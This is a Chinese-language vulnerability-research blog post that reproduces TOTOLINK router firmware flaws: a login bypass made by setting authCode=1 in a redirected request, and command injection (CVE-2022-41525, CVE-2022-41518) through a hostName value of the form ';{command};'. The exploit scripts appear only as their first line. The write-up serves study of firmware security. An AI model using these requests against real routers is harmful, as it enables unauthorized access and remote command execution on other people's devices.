TOTOLINK–webserver与cgi
| 0 | 前言
经过了nepctf
的洗礼,感觉自己找回了对二进制安全的热爱
依旧不会web
,依旧被拷打…不过已经开始补web
的知识了
| 1 | web基础知识
固件包中,常见的二进制文件包括httpd
/xxx(.cgi)
httpd
用于
- 维护
webserver
,监听端口,等待客户端发发送的请求 - 显示静态页面(资源)
- 调用后端程序(
cgi
,php
)处理请求 - 处理
HTTP协议
细节,如重定向、状态码、缓存控制
cgi
用于请求处理的具体实现
httpd
会fork
出一个子进程用于执行(execve
)cgi
程序
httpd
获取client
报文,将不同的字段序列化后传递给cgi
后cgi
与httpd
通过pipe管道
进行数据的交互,最后cgi
进程终止并发送终止信号,httpd
将响应传回client
报文由客户端(通常是浏览器)发出,接收到httpd
的回显后,如果包含重定向信息,浏览器会自动发送请求报文,跳转并访问到重定向的资源.
比如响应数据包为
1 | HTTP/1.1 302 Found |
浏览器就会自动发送访问http://192.168.52.134/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login
的请求
POST
与GET
请求为web
中最常见的两种请求方式
其中GET
直接通过url
传参
1 | GET(请求方式) /path/to/resource(请求资源路径)?key1=value1&key2=value2(请求变量) HTTP/1.1(协议版本) |
POST
则通过请求体传参
1 | POST /submit-form HTTP/1.1 |
| 1 | 环境搭建
- 固件下载:totolink
- 固件解包
1 | binwalk -e --preserve-symlinks TOTOLINK_C834FR-1C_NR1800X_IP04469_MT7621A_SPI_16M256M_V9.1.0u.6279_B20210910_ALL.web |
搭建
qemu
环境,将文件系统传入其中
下载qemu
:qemu下载启动脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17#!/bin/bash
# TAP接口配置
TAP_IF="tap0"
BR_IF="br0"
# 确保 tap0 存在,并添加进 br0
sudo ip tuntap add dev $TAP_IF mode tap
sudo ip link set $TAP_IF up
sudo brctl addif $BR_IF $TAP_IF
sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic我们观察文件系统,可以发现
lighttp/lighttpd.conf
中已经配置好了,那我们就可以在挂载后直接启动httpd
服务1
2
3mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
chroot ./squashfs-root sh启动服务
1
lighttpd -f /lighttp/lighttpd.conf
我们在浏览器中输入qemu
的IP
,可以发现web服务
已经出现,说明环境配置完成
| 2 | 登录密码绕过流程
我们先在brup
的内嵌浏览器打开拦截,随便输入一个密码(123
),可以看到POST
请求为
1 | POST /cgi-bin/cstecgi.cgi?action=login HTTP/1.1 |
我们将这段报文复制到复发送,发送后查看响应包
可以看到被重定向到http://192.168.52.134/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login
我们直接点击跟随重定向
可以看到浏览器自动发送了一个如下GET
请求
1 | GET /formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login HTTP/1.1 |
可以看到访问资源
为html
,由httpd
负责处理,所以我们使用IDA
打开httpd
,搜索formLoginAuth
相关内容
明显通过函数名可以看出这个Form_Login
是登录逻辑
1 | int __fastcall Form_Login(int a1, int a2, int a3) |
如果authCode
不为0,可以获得一个有效的"SESSION_ID"
,表示登录成功
在cgi
的登录行为中,我们可以发现
1 | int __fastcall check_login(int jsonData) |
我们可以看到cgi
将登录判定(authCode
)通过重定向标志传输给httpd服务
但是重定向的数据包我们是可以通过brup
进行修改,也就是可以控制传入httpd
的authCode
值!
如果我们将重定向的url
中的authCode
字段修改为真
,则可以在密码错误的情况下登录
也就是直接访问192.168.52.134/formLoginAuth.htm?authCode=1&action=login
使用brup
修改重定向的GET请求
,将重定向中的authCode
字段修改为1
,
1 | GET /formLoginAuth.htm?authCode=1&userName=&goURL=login.html&action=login HTTP/1.1 |
此时可以得到一个有效的登录SESSION_ID
| 3 | 漏洞分析
我们在cgi
文件中对system
/sprintf
等危险函数进行搜索,便可以找到几个可能可以控制参数的利用点
CVE-2022-41525
在函数sub_421C98
中可以看到
从POST
请求中的hostName
字段未经过检查,被拼接进入了doSystem
我们沿着调用链向上找,可以找出唯一的调用链
sub_42B9F8
–>sub_422F3C
–>sub_421C98
但是sub_42B9F8
找不到交叉引用,我们还是可以通过objdump/xxd
查看它在elf
中何处出现这个函数地址
1 | zer00ne@zer00ne:~/Desktop/cve_review/stage2/TOTOLINK/_TOTOLINK_C834FR-1C_NR1800X_IP04469_MT7621A_SPI_16M256M_V9.1.0u.6279_B20210910_ALL.web.extracted/squashfs-root/www/cgi-bin$ xxd ./cstecgi.cgi | grep 'f8b9 42' |
我们定位回elf
中可以看到
1 | .data:0044B110 aSetopmodecfg: .ascii "setOpModeCfg"<0> |
这个函数与一个字符串对应
回到cgi
的登录逻辑,我们可以发现登录检查函数与sub_42B9F8
相似,也是函数指针与一个字符串对应,且对应的地址还有符号
1 | .data:0044C034 key: .ascii "loginAuth"<0> # DATA XREF: LOAD:004007F4↑o |
我们查看这个符号在什么地方被引用,可以找到这是在main
函数中的一段逻辑
1 | Var = websGetVar(v17, "topicurl", (int)""); |
这是个根据topicurl
的字段,选择调用不同的函数
所以我们要在这里将topicurl字段
注入setOpModeCfg
便可以调用到sub_42B9F8
之后无论如何都可以调用到sub_422F3C
最后进入sub_421C98
,简单逆向分析可以知道,
应该把proto
设置为1,2
或5
switchOpMode
设置为1
hostName
设置为';{command};'
(绕过单引号),便可以注入命令
EXP
1 | import requests |
成功RCE
CVE-2022-41518
与上个cve
相似,也是一处命令拼接无检查导致RCE
1 | .data:0044C188 aUploadfirmware:.ascii "UploadFirmwareFile"<0> |
没有任何检查,把上个EXP
改改就能用
EXP
1 | import requests |
| 4 | 后记–如何快速定位webserver文件
启动脚本
一般/etc/rc.d中S开头的启动脚本脚本,会按S后数字顺序执行的
可以在脚本中找到启动的web服务文件
通过表单搜索
我们知道客户端请求会由webserver
传递给cgi
处理
那我们就可以先在www
目录下寻找任意提交表单
1 | <form method="POST" ref="loginfrm" @keyup.enter.prevent @keydown.enter.prevent> |
我们就定位到了后端处理程序cgi
cgi
是由httpd
在fork
后exec
调用的,所有httpd
中有着对cgi文件
的引用
我们在文件系统根目录中搜索所有对cgi文件
的引用,一般就可以找到webserver文件
1 | grep -r "cstecgi.cgi" . |